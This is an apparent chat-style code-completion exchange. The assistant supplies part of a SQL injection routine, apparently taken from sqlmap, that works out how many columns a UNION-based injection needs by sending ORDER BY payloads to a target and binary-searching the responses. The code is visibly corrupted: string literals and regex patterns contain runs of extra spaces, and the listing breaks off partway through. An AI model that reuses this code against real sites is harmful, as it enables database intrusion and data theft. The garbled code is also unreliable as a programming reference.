human
Complete this python program:
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
assistant
#Here is the Python program you requested.

    """Finds number of columns affected by UNION based injection
    """
    retVal = None
    def _orderByTechnique():
        def _orderByTest(cols):
            query = agent.prefixQuery(('ORDER    BY    %d' % cols), prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            (page, headers, code) = Request.queryPage(payload, place=place, content=True, raise404=False)
            return (((not any(((re.search(_, (page or ''), re.I) and (not re.search(_, (kb.pageTemplate or ''), re.I))) for _ in ('(warning|error):', 'order    by', 'unknown    column', 'failed')))) and comparison(page, headers, code)) or re.search('data    types    cannot    be    compared    or    sorted', (page or ''), re.I))
        if (_orderByTest(1) and (not _orderByTest(randomInt()))):
            infoMsg = "'ORDER    BY'    technique    appears    to    be    usable.    "
            infoMsg += 'This    should    reduce    the    time    needed    '
            infoMsg += 'to    find    the    right    number    '
            infoMsg += 'of    query    columns.    Automatically    extending    the    '
            infoMsg += 'range    for    current    UNION    query    injection    technique    test'
            singleTimeLogMessage(infoMsg)
            (lowCols, highCols) = (1, ORDER_BY_STEP)
            found = None
            while (not found):
                if _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while (not found):
                        mid = (highCols - ((highCols - lowCols) / 2))
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if ((highCols - lowCols) < 2):
                            found = lowCols
            return found
    try:
        pushValue(kb.errorIsNone)
        (items, ratios) = ([], [])
     ...